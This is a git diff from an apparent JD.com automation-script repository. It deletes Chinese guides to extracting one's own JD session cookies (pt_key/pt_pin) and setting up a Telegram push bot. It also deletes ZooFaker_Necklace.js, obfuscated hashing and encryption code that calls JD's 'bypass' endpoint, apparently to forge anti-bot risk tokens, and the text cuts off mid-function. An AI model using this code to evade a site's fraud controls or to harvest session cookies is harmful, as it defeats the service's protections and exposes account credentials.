o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=s&&s.timeout?s.timeout:o;const[h,a]=i.split("@"),r={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":h,Accept:"*/*"}};$.post(r,(t,s,i)=>e(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s);if(!e&&!i)return{};{const i=e?t:s;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),s=this.path.resolve(process.cwd(),this.dataFile),e=this.fs.existsSync(t),i=!e&&this.fs.existsSync(s),o=JSON.stringify(this.data);e?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(s,o):this.fs.writeFileSync(t,o)}}lodash_get(t,s,e){const i=s.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return e;return o}lodash_set(t,s,e){return Object(t)!==t?t:(Array.isArray(s)||(s=s.toString().match(/[^.[\]]+/g)||[]),s.slice(0,-1).reduce((t,e,i)=>Object(t[e])===t[e]?t[e]:t[e]=Math.abs(s[i+1])>>0==+s[i+1]?[]:{},t)[s[s.length-1]]=e,t)}getdata(t){let s=this.getval(t);if(/^@/.test(t)){const[,e,i]=/^@(.*?)\.(.*?)$/.exec(t),o=e?this.getval(e):"";if(o)try{const t=JSON.parse(o);s=t?this.lodash_get(t,i,""):s}catch(t){s=""}}return s}setdata(t,s){let e=!1;if(/^@/.test(s)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(s),h=this.getval(i),a=i?"null"===h?null:h||"{}":"{}";try{const s=JSON.parse(a);this.lodash_set(s,o,t),e=this.setval(JSON.stringify(s),i)}catch(s){const h={};this.lodash_set(h,o,t),e=this.setval(JSON.stringify(h),i)}}else e=$.setval(t,s);return e}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,s){return this.isSurge()||this.isLoon()?$persistentStore.write(t,s):this.isQuanX()?$prefs.setValueForKey(t,s):this.isNode()?(this.data=this.loaddata(),this.data[s]=t,this.writedata(),!0):this.data&&this.data[s]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,s=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?$httpClient.get(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)}):this.isQuanX()?$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,s)=>{try{const e=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(e,null),s.cookieJar=this.ckjar}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t)))}post(t,s=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),delete t.headers["Content-Length"],this.isSurge()||this.isLoon())$httpClient.post(t,(t,e,i)=>{!t&&e&&(e.body=i,e.statusCode=e.status),s(t,e,i)});else if(this.isQuanX())t.method="POST",$task.fetch(t).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t));else if(this.isNode()){this.initGotEnv(t);const{url:e,...i}=t;this.got.post(e,i).then(t=>{const{statusCode:e,statusCode:i,headers:o,body:h}=t;s(null,{status:e,statusCode:i,headers:o,body:h},h)},t=>s(t))}}time(t){let s={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in s)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?s[e]:("00"+s[e]).substr((""+s[e]).length)));return t}msg(s=t,e="",i="",o){const h=t=>!t||!this.isLoon()&&this.isSurge()?t:"string"==typeof t?this.isLoon()?t:this.isQuanX()?{"open-url":t}:void 0:"object"==typeof t&&(t["open-url"]||t["media-url"])?this.isLoon()?t["open-url"]:this.isQuanX()?t:void 0:void 0;this.isSurge()||this.isLoon()?$notification.post(s,e,i,h(o)):this.isQuanX()&&$notify(s,e,i,h(o)),this.logs.push("","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="),this.logs.push(s),e&&this.logs.push(e),i&&this.logs.push(i)}log(...t){t.length>0?this.logs=[...this.logs,...t]:console.log(this.logs.join(this.logSeparator))}logErr(t,s){const e=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();e?$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):$.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(s=>setTimeout(s,t))}done(t={}){const s=(new Date).getTime(),e=(s-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,s)} \ No newline at end of file diff --git a/backUp/GetJdCookie.md b/backUp/GetJdCookie.md deleted file mode 100644 index 0dc377a..0000000 --- a/backUp/GetJdCookie.md +++ /dev/null @@ -1,32 +0,0 @@ -## 浏览器获取京东cookie教程 - - **以下浏览器都行** - - - Chrome浏览器 - - 新版Edge浏览器 - - 国产360,QQ浏览器切换到极速模式 - -### 操作步骤 - -1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) -2. 按键盘F12键打开开发者工具,然后点下图中的图标 - ![切换到手机模式](../icon/jd1.jpg) -3. 此时是未登录状态(使用手机短信验证码登录),如已登录请忽略此步骤 - - 使用手机短信验证码登录(此方式cookie有效时长大概31天,其他登录方式比较短) -4. 登录后,选择Network,有很多链接的话点箭头这里清空下 - ![清空](../icon/jd2.jpg) -5. 然后再点我的,链接就变少了 - ![再次点击我的](../icon/jd3.jpg) -6. 点第一个链接(log.gif)进去,找到cookie,复制出来,新建一个TXT文本临时保存一下,下面需要用到 - ![寻找log.gi](../icon/jd4.jpg) -7. 第六步复制出来的cookie比较长,我们只需要`pt_pin=xxxx;`和 `pt_key=xxxx;`部分的内容即可(注:英文引号`;`是必要的)。可以用下面的脚本,在Chrome浏览器按F12,console里面输入下面脚本按enter回车键 - ``` - var CV = '单引号里面放第六步拿到的cookie'; - var CookieValue = CV.match(/pt_pin=.+?;/) + CV.match(/pt_key=.+?;/); - copy(CookieValue); - ``` -8. 这样子整理出关键的的cookie已经在你的剪贴板上, 可直接粘贴 - -9. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 - - diff --git a/backUp/GetJdCookie2.md b/backUp/GetJdCookie2.md deleted file mode 100644 index eadf9a5..0000000 --- a/backUp/GetJdCookie2.md +++ /dev/null @@ -1,34 +0,0 @@ -## 浏览器插件获取京东cookie教程 - > 此教程内容由tg用户@wukongdada提供,特此感谢 - - **以下浏览器都行** - - - Chrome浏览器 - - 新版Edge浏览器(chrome内核) - -### 操作步骤 - -1. 电脑浏览器打开京东网址 [https://m.jd.com/](https://m.jd.com/) -2. Chrome类浏览器安装EditThisCookie插件 - - Chrome插件商店搜EditThisCookie, 或者[打开此网站](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?utm_source=chrome-ntp-icon) 进行安装 - - 仅使用百分浏览器,谷歌浏览器测试过,其他谷歌类浏览器请自行测试。 - - 无法登录Chrome插件商店或者打不开网址建议使用edge chrome版。 -3. edge chrome浏览器安装Cookie Editor插件 - - [edge插件商店](edge://extensions/)搜Cookie Editor,或[打开以下网址](https://microsoftedge.microsoft.com/addons/detail/cookie-editor/ajfboaconbpkglpfanbmlfgojgndmhmc?hl=zh-CN) 完成插件安装 -4. 以下是chrome和edge的相关设置截图,输入的网址是 ``jd.com`` - - ![Chrome浏览器相关设置](../icon/jd5.png) - - ![Edge浏览器相关设置](../icon/jd6.png) - -5. 现在点击回到京东触屏版,再点击EditThisCookie/Cookie Editor,再点击搜索,输入key或pin,如下图所示的pt_key,复制pt_key的value值。此插件可以看到cookie的有效期。 - - ![插件显示](../icon/jd7.png) - -6. 按照以下格式形成自己的jd_cookie - - `pt_key=复制插件搜索出来的key值;pt_pin=复制插件搜索出来的pin值;` ,后面的英文引号`;`是必须要的 - - 给一个京东cookie具体示例 `pt_key=jdDC2F833333EFDGTCE5BD4AD1A952D4F4DF84A46052;pt_pin=jd_123456;` - -7. 如果需获取第二个京东账号的cookie,不要在刚才的浏览器上面退出登录账号一(否则刚才获取的cookie会失效),需另外换一个浏览器(Chrome浏览器 `ctr+shift+n` 打开无痕模式也行),然后继续按上面步骤操作即可 - - diff --git a/backUp/TG_PUSH.md b/backUp/TG_PUSH.md deleted file mode 100644 index 6db47d5..0000000 --- a/backUp/TG_PUSH.md +++ /dev/null @@ -1,19 +0,0 @@ -**TG_PUSH教程** - -利用Telegram机器人推送通知,需要在环境变量填入正确的```TG_BOT_TOKEN```以及```TG_USER_ID```,以下教程简明阐述如何获取token以及UserID - -Ⅰ.首先在Telegram上搜索[BotFather](https://t.me/BotFather)机器人
- -![TG_PUSH1](../icon/TG_PUSH1.png) - -Ⅱ.利用[BotFather](https://t.me/BotFather)创建一个属于自己的通知机器人,按照下图中的1、2、3步骤拿到token,格式形如```10xxx4:AAFcqxxxxgER5uw```。填入```TG_BOT_TOKEN```
- -![TG_PUSH2](../icon/TG_PUSH2.png)
- -**新创建的机器人需要跟它发一条消息来开启对话,否则可能会遇到secret填对了但是收不到消息的情况**
- -Ⅲ.再次在Telegram上搜索[getuserIDbot](https://t.me/getuserIDbot)机器人,获取UserID。填入```TG_USER_ID```
- -![TG_PUSH3](../icon/TG_PUSH3.png) - -至此,获取**TG_BOT_TOKEN**以及**TG_USER_ID**的教程结束 diff --git a/backUp/ZooFaker_Necklace.js b/backUp/ZooFaker_Necklace.js deleted file mode 100644 index 9c0421a..0000000 --- a/backUp/ZooFaker_Necklace.js +++ /dev/null @@ -1,928 +0,0 @@ -function safeAdd(x, y) { - var lsw = (x & 0xffff) + (y & 0xffff) - var msw = (x >> 16) + (y >> 16) + (lsw >> 16) - return (msw << 16) | (lsw & 0xffff) -} - -/* - * Bitwise rotate a 32-bit number to the left. - */ -function bitRotateLeft(num, cnt) { - return (num << cnt) | (num >>> (32 - cnt)) -} - -function md5(string, key, raw) { - if (!key) { - if (!raw) { - return hexMD5(string) - } - return rawMD5(string) - } - if (!raw) { - return hexHMACMD5(key, string) - } - return rawHMACMD5(key, string) -} - -/* - * Convert a raw string to a hex string - */ -function rstr2hex(input) { - var hexTab = '0123456789abcdef' - var output = '' - var x - var i - for (i = 0; i < input.length; i += 1) { - x = input.charCodeAt(i) - output += hexTab.charAt((x >>> 4) & 0x0f) + hexTab.charAt(x & 0x0f) - } - return output -} -/* - * Encode a string as utf-8 - */ -function str2rstrUTF8(input) { - return unescape(encodeURIComponent(input)) -} -/* - * Calculate the MD5 of a raw string - */ -function rstrMD5(s) { - return binl2rstr(binlMD5(rstr2binl(s), s.length * 8)) -} - -function hexMD5(s) { - return rstr2hex(rawMD5(s)) -} -function rawMD5(s) { - return rstrMD5(str2rstrUTF8(s)) -} - -/* - * These functions implement the four basic operations the algorithm uses. - */ -function md5cmn(q, a, b, x, s, t) { - return safeAdd(bitRotateLeft(safeAdd(safeAdd(a, q), safeAdd(x, t)), s), b) -} - -function md5ff(a, b, c, d, x, s, t) { - return md5cmn((b & c) | (~b & d), a, b, x, s, t) -} - -function md5gg(a, b, c, d, x, s, t) { - return md5cmn((b & d) | (c & ~d), a, b, x, s, t) -} - -function md5hh(a, b, c, d, x, s, t) { - return md5cmn(b ^ c ^ d, a, b, x, s, t) -} - -function md5ii(a, b, c, d, x, s, t) { - return md5cmn(c ^ (b | ~d), a, b, x, s, t) -} - -/* - * Calculate the MD5 of an array of little-endian words, and a bit length. - */ -function binlMD5(x, len) { - /* append padding */ - x[len >> 5] |= 0x80 << (len % 32) - x[((len + 64) >>> 9 << 4) + 14] = len - - var i - var olda - var oldb - var oldc - var oldd - var a = 1732584193 - var b = -271733879 - var c = -1732584194 - var d = 271733878 - - for (i = 0; i < x.length; i += 16) { - olda = a - oldb = b - oldc = c - oldd = d - - a = md5ff(a, b, c, d, x[i], 7, -680876936) - d = md5ff(d, a, b, c, x[i + 1], 12, -389564586) - c = md5ff(c, d, a, b, x[i + 2], 17, 606105819) - b = md5ff(b, c, d, a, x[i + 3], 22, -1044525330) - a = md5ff(a, b, c, d, x[i + 4], 7, -176418897) - d = md5ff(d, a, b, c, x[i + 5], 12, 1200080426) - c = md5ff(c, d, a, b, x[i + 6], 17, -1473231341) - b = md5ff(b, c, d, a, x[i + 7], 22, -45705983) - a = md5ff(a, b, c, d, x[i + 8], 7, 1770035416) - d = md5ff(d, a, b, c, x[i + 9], 12, -1958414417) - c = md5ff(c, d, a, b, x[i + 10], 17, -42063) - b = md5ff(b, c, d, a, x[i + 11], 22, -1990404162) - a = md5ff(a, b, c, d, x[i + 12], 7, 1804603682) - d = md5ff(d, a, b, c, x[i + 13], 12, -40341101) - c = md5ff(c, d, a, b, x[i + 14], 17, -1502002290) - b = md5ff(b, c, d, a, x[i + 15], 22, 1236535329) - - a = md5gg(a, b, c, d, x[i + 1], 5, -165796510) - d = md5gg(d, a, b, c, x[i + 6], 9, -1069501632) - c = md5gg(c, d, a, b, x[i + 11], 14, 643717713) - b = md5gg(b, c, d, a, x[i], 20, -373897302) - a = md5gg(a, b, c, d, x[i + 5], 5, -701558691) - d = md5gg(d, a, b, c, x[i + 10], 9, 38016083) - c = md5gg(c, d, a, b, x[i + 15], 14, -660478335) - b = md5gg(b, c, d, a, x[i + 4], 20, -405537848) - a = md5gg(a, b, c, d, x[i + 9], 5, 568446438) - d = md5gg(d, a, b, c, x[i + 14], 9, -1019803690) - c = md5gg(c, d, a, b, x[i + 3], 14, -187363961) - b = md5gg(b, c, d, a, x[i + 8], 20, 1163531501) - a = md5gg(a, b, c, d, x[i + 13], 5, -1444681467) - d = md5gg(d, a, b, c, x[i + 2], 9, -51403784) - c = md5gg(c, d, a, b, x[i + 7], 14, 1735328473) - b = md5gg(b, c, d, a, x[i + 12], 20, -1926607734) - - a = md5hh(a, b, c, d, x[i + 5], 4, -378558) - d = md5hh(d, a, b, c, x[i + 8], 11, -2022574463) - c = md5hh(c, d, a, b, x[i + 11], 16, 1839030562) - b = md5hh(b, c, d, a, x[i + 14], 23, -35309556) - a = md5hh(a, b, c, d, x[i + 1], 4, -1530992060) - d = md5hh(d, a, b, c, x[i + 4], 11, 1272893353) - c = md5hh(c, d, a, b, x[i + 7], 16, -155497632) - b = md5hh(b, c, d, a, x[i + 10], 23, -1094730640) - a = md5hh(a, b, c, d, x[i + 13], 4, 681279174) - d = md5hh(d, a, b, c, x[i], 11, -358537222) - c = md5hh(c, d, a, b, x[i + 3], 16, -722521979) - b = md5hh(b, c, d, a, x[i + 6], 23, 76029189) - a = md5hh(a, b, c, d, x[i + 9], 4, -640364487) - d = md5hh(d, a, b, c, x[i + 12], 11, -421815835) - c = md5hh(c, d, a, b, x[i + 15], 16, 530742520) - b = md5hh(b, c, d, a, x[i + 2], 23, -995338651) - - a = md5ii(a, b, c, d, x[i], 6, -198630844) - d = md5ii(d, a, b, c, x[i + 7], 10, 1126891415) - c = md5ii(c, d, a, b, x[i + 14], 15, -1416354905) - b = md5ii(b, c, d, a, x[i + 5], 21, -57434055) - a = md5ii(a, b, c, d, x[i + 12], 6, 1700485571) - d = md5ii(d, a, b, c, x[i + 3], 10, -1894986606) - c = md5ii(c, d, a, b, x[i + 10], 15, -1051523) - b = md5ii(b, c, d, a, x[i + 1], 21, -2054922799) - a = md5ii(a, b, c, d, x[i + 8], 6, 1873313359) - d = md5ii(d, a, b, c, x[i + 15], 10, -30611744) - c = md5ii(c, d, a, b, x[i + 6], 15, -1560198380) - b = md5ii(b, c, d, a, x[i + 13], 21, 1309151649) - a = md5ii(a, b, c, d, x[i + 4], 6, -145523070) - d = md5ii(d, a, b, c, x[i + 11], 10, -1120210379) - c = md5ii(c, d, a, b, x[i + 2], 15, 718787259) - b = md5ii(b, c, d, a, x[i + 9], 21, -343485551) - - a = safeAdd(a, olda) - b = safeAdd(b, oldb) - c = safeAdd(c, oldc) - d = safeAdd(d, oldd) - } - return [a, b, c, d] -} -/* - * Convert an array of little-endian words to a string - */ -function binl2rstr(input) { - var i - var output = '' - var length32 = input.length * 32 - for (i = 0; i < length32; i += 8) { - output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xff) - } - return output -} - - -/* - * Convert a raw string to an array of little-endian words - * Characters >255 have their high-byte silently ignored. - */ -function rstr2binl(input) { - var i - var output = [] - output[(input.length >> 2) - 1] = undefined - for (i = 0; i < output.length; i += 1) { - output[i] = 0 - } - var length8 = input.length * 8 - for (i = 0; i < length8; i += 8) { - output[i >> 5] |= (input.charCodeAt(i / 8) & 0xff) << (i % 32) - } - return output -} - - -function encrypt_3(e) { - return function (e) { - if (Array.isArray(e)) return encrypt_3_3(e) - }(e) || function (e) { - if ("undefined" != typeof Symbol && Symbol.iterator in Object(e)) return Array.from(e) - }(e) || function (e, t) { - if (e) { - if ("string" == typeof e) return encrypt_3_3(e, t); - var n = Object.prototype.toString.call(e).slice(8, -1); - return "Object" === n && e.constructor && (n = e.constructor.name), "Map" === n || "Set" === n ? Array.from(e) : "Arguments" === n || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n) ? encrypt_3_3(e, t) : void 0 - } - }(e) || function () { - throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.") - }() -} - -function encrypt_3_3(e, t) { - (null == t || t > e.length) && (t = e.length); - for (var n = 0, r = new Array(t); n < t; n++) r[n] = e[n]; - return r -} - -function rotateRight(n, x) { - return ((x >>> n) | (x << (32 - n))); -} - -function choice(x, y, z) { - return ((x & y) ^ (~x & z)); -} - -function majority(x, y, z) { - return ((x & y) ^ (x & z) ^ (y & z)); -} - -function sha256_Sigma0(x) { - return (rotateRight(2, x) ^ rotateRight(13, x) ^ rotateRight(22, x)); -} - -function sha256_Sigma1(x) { - return (rotateRight(6, x) ^ rotateRight(11, x) ^ rotateRight(25, x)); -} - -function sha256_sigma0(x) { - return (rotateRight(7, x) ^ rotateRight(18, x) ^ (x >>> 3)); -} - -function sha256_sigma1(x) { - return (rotateRight(17, x) ^ rotateRight(19, x) ^ (x >>> 10)); -} - -function sha256_expand(W, j) { - return (W[j & 0x0f] += sha256_sigma1(W[(j + 14) & 0x0f]) + W[(j + 9) & 0x0f] + - sha256_sigma0(W[(j + 1) & 0x0f])); -} - -/* Hash constant words K: */ -var K256 = new Array( - 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, - 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, - 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, - 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, - 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, - 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, - 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, - 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, - 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, - 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, - 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, - 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, - 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, - 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, - 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, - 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 -); - -/* global arrays */ -var ihash, count, buffer; -var sha256_hex_digits = "0123456789abcdef"; - -/* Add 32-bit integers with 16-bit operations (bug in some JS-interpreters: -overflow) */ -function safe_add(x, y) { - var lsw = (x & 0xffff) + (y & 0xffff); - var msw = (x >> 16) + (y >> 16) + (lsw >> 16); - return (msw << 16) | (lsw & 0xffff); -} - -/* Initialise the SHA256 computation */ -function sha256_init() { - ihash = new Array(8); - count = new Array(2); - buffer = new Array(64); - count[0] = count[1] = 0; - ihash[0] = 0x6a09e667; - ihash[1] = 0xbb67ae85; - ihash[2] = 0x3c6ef372; - ihash[3] = 0xa54ff53a; - ihash[4] = 0x510e527f; - ihash[5] = 0x9b05688c; - ihash[6] = 0x1f83d9ab; - ihash[7] = 0x5be0cd19; -} - -/* Transform a 512-bit message block */ -function sha256_transform() { - var a, b, c, d, e, f, g, h, T1, T2; - var W = new Array(16); - - /* Initialize registers with the previous intermediate value */ - a = ihash[0]; - b = ihash[1]; - c = ihash[2]; - d = ihash[3]; - e = ihash[4]; - f = ihash[5]; - g = ihash[6]; - h = ihash[7]; - - /* make 32-bit words */ - for (var i = 0; i < 16; i++) - W[i] = ((buffer[(i << 2) + 3]) | (buffer[(i << 2) + 2] << 8) | (buffer[(i << 2) + 1] << - 16) | (buffer[i << 2] << 24)); - - for (var j = 0; j < 64; j++) { - T1 = h + sha256_Sigma1(e) + choice(e, f, g) + K256[j]; - if (j < 16) T1 += W[j]; - else T1 += sha256_expand(W, j); - T2 = sha256_Sigma0(a) + majority(a, b, c); - h = g; - g = f; - f = e; - e = safe_add(d, T1); - d = c; - c = b; - b = a; - a = safe_add(T1, T2); - } - - /* Compute the current intermediate hash value */ - ihash[0] += a; - ihash[1] += b; - ihash[2] += c; - ihash[3] += d; - ihash[4] += e; - ihash[5] += f; - ihash[6] += g; - ihash[7] += h; -} - -/* Read the next chunk of data and update the SHA256 computation */ -function sha256_update(data, inputLen) { - var i, index, curpos = 0; - /* Compute number of bytes mod 64 */ - index = ((count[0] >> 3) & 0x3f); - var remainder = (inputLen & 0x3f); - - /* Update number of bits */ - if ((count[0] += (inputLen << 3)) < (inputLen << 3)) count[1]++; - count[1] += (inputLen >> 29); - - /* Transform as many times as possible */ - for (i = 0; i + 63 < inputLen; i += 64) { - for (var j = index; j < 64; j++) - buffer[j] = data.charCodeAt(curpos++); - sha256_transform(); - index = 0; - } - - /* Buffer remaining input */ - for (var j = 0; j < remainder; j++) - buffer[j] = data.charCodeAt(curpos++); -} - -/* Finish the computation by operations such as padding */ -function sha256_final() { - var index = ((count[0] >> 3) & 0x3f); - buffer[index++] = 0x80; - if (index <= 56) { - for (var i = index; i < 56; i++) - buffer[i] = 0; - } else { - for (var i = index; i < 64; i++) - buffer[i] = 0; - sha256_transform(); - for (var i = 0; i < 56; i++) - buffer[i] = 0; - } - buffer[56] = (count[1] >>> 24) & 0xff; - buffer[57] = (count[1] >>> 16) & 0xff; - buffer[58] = (count[1] >>> 8) & 0xff; - buffer[59] = count[1] & 0xff; - buffer[60] = (count[0] >>> 24) & 0xff; - buffer[61] = (count[0] >>> 16) & 0xff; - buffer[62] = (count[0] >>> 8) & 0xff; - buffer[63] = count[0] & 0xff; - sha256_transform(); -} - -/* Split the internal hash values into an array of bytes */ -function sha256_encode_bytes() { - var j = 0; - var output = new Array(32); - for (var i = 0; i < 8; i++) { - output[j++] = ((ihash[i] >>> 24) & 0xff); - output[j++] = ((ihash[i] >>> 16) & 0xff); - output[j++] = ((ihash[i] >>> 8) & 0xff); - output[j++] = (ihash[i] & 0xff); - } - return output; -} - -/* Get the internal hash as a hex string */ -function sha256_encode_hex() { - var output = new String(); - for (var i = 0; i < 8; i++) { - for (var j = 28; j >= 0; j -= 4) - output += sha256_hex_digits.charAt((ihash[i] >>> j) & 0x0f); - } - return output; -} -let utils = { - getDefaultVal: function (e) { - try { - return { - undefined: "u", - false: "f", - true: "t" - } [e] || e - } catch (t) { - return e - } - }, - requestUrl: { - gettoken: "".concat("https://", "bh.m.jd.com/gettoken"), - bypass: "".concat("https://blackhole", ".m.jd.com/bypass") - }, - getTouchSession: function () { - var e = (new Date).getTime(), - t = this.getRandomInt(1e3, 9999); - return String(e) + String(t) - }, - sha256: function (data) { - sha256_init(); - sha256_update(data, data.length); - sha256_final(); - return sha256_encode_hex().toUpperCase(); - }, - atobPolyfill: function (e) { - return function (e) { - var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; - if (e = String(e).replace(/[\t\n\f\r ]+/g, ""), !/^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/.test(e)) throw new TypeError("解密错误"); - e += "==".slice(2 - (3 & e.length)); - for (var n, r, i, o = "", a = 0; a < e.length;) n = t.indexOf(e.charAt(a++)) << 18 | t.indexOf(e.charAt(a++)) << 12 | (r = t.indexOf(e.charAt(a++))) << 6 | (i = t.indexOf(e.charAt(a++))), o += 64 === r ? String.fromCharCode(n >> 16 & 255) : 64 === i ? String.fromCharCode(n >> 16 & 255, n >> 8 & 255) : String.fromCharCode(n >> 16 & 255, n >> 8 & 255, 255 & n); - return o - }(e) - }, - btoaPolyfill: function (e) { - var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; - return function (e) { - for (var n, r, i, o, a = "", s = 0, u = (e = String(e)).length % 3; s < e.length;) { - if ((r = e.charCodeAt(s++)) > 255 || (i = e.charCodeAt(s++)) > 255 || (o = e.charCodeAt(s++)) > 255) throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range."); - a += t.charAt((n = r << 16 | i << 8 | o) >> 18 & 63) + t.charAt(n >> 12 & 63) + t.charAt(n >> 6 & 63) + t.charAt(63 & n) - } - return u ? a.slice(0, u - 3) + "===".substring(u) : a - }(unescape(encodeURIComponent(e))) - }, - xorEncrypt: function (e, t) { - for (var n = t.length, r = "", i = 0; i < e.length; i++) r += String.fromCharCode(e[i].charCodeAt() ^ t[i % n].charCodeAt()); - return r - }, - encrypt1: function (e, t) { - for (var n = e.length, r = t.toString(), i = [], o = "", a = 0, s = 0; s < r.length; s++) a >= n && (a %= n), o = (r.charCodeAt(s) ^ e.charCodeAt(a)) % 10, i.push(o), a += 1; - return i.join().replace(/,/g, "") - }, - len_Fun: function (e, t) { - return "".concat(e.substring(t, e.length)) + "".concat(e.substring(0, t)) - }, - encrypt2: function (e, t) { - var n = t.toString(), - r = t.toString().length, - i = parseInt((r + e.length) / 3), - o = "", - a = ""; - return r > e.length ? (o = this.len_Fun(n, i), a = this.encrypt1(e, o)) : (o = this.len_Fun(e, i), a = this.encrypt1(n, o)), a - }, - addZeroFront: function (e) { - return e && e.length >= 5 ? e : ("00000" + String(e)).substr(-5) - }, - addZeroBack: function (e) { - return e && e.length >= 5 ? e : (String(e) + "00000").substr(0, 5) - }, - encrypt3: function (e, t) { - var n = this.addZeroBack(t).toString().substring(0, 5), - r = this.addZeroFront(e).substring(e.length - 5), - i = n.length, - o = encrypt_3(Array(i).keys()), - a = []; - return o.forEach(function (e) { - a.push(Math.abs(n.charCodeAt(e) - r.charCodeAt(e))) - }), a.join().replace(/,/g, "") - }, - getCurrentDate: function () { - return new Date - }, - getCurrentTime: function () { - return this.getCurrentDate().getTime() - }, - getRandomInt: function () { - var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 0, - t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 9; - return e = Math.ceil(e), t = Math.floor(t), Math.floor(Math.random() * (t - e + 1)) + e - }, - getRandomWord: function (e) { - for (var t = "", n = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", r = 0; r < e; r++) { - var i = Math.round(Math.random() * (n.length - 1)); - t += n.substring(i, i + 1) - } - return t - }, - getNumberInString: function (e) { - return Number(e.replace(/[^0-9]/gi, "")) - }, - getSpecialPosition: function (e) { - for (var t = !(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1], n = ((e = String(e)).length, t ? 1 : 0), r = "", i = 0; i < e.length; i++) i % 2 === n && (r += e[i]); - return r - }, - getLastAscii: function (e) { - var t = e.charCodeAt(0).toString(); - return t[t.length - 1] - }, - toAscii: function (e) { - var t = ""; - for (var n in e) { - var r = e[n], - i = 